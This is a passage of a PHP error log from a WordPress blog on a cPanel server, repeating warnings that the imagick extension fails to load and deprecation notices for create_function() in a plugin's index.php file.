/home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:35:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:35:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:35:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:35:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:36:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:36:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:36:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:36:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:36:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:36:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:37:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:37:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 04:23:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 04:23:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 05:24:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 05:24:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 06:25:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 06:25:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 07:26:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 07:26:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 08:27:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 08:27:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 09:27:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 09:27:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:12:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:12:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:12:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:12:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:13:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:13:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:14:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:14:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:15:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:15:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:15:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:15:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:16:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:16:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:17:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:17:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:17:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:17:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:18:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:18:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:18:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:18:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:18:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:18:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:19:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:19:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:19:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:19:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:19:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:19:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:20:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:20:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:20:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:20:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:25:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:25:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:25:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:25:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:26:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:26:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:26:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:26:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:27:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:27:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:27:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:27:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:27:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:27:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:28:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:28:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:28:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:28:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:28:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:28:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:28:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:28:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:28:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:28:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:29:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:29:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:29:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:29:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:30:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:30:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:30:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:30:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:31:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:31:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 10:31:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 10:31:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php 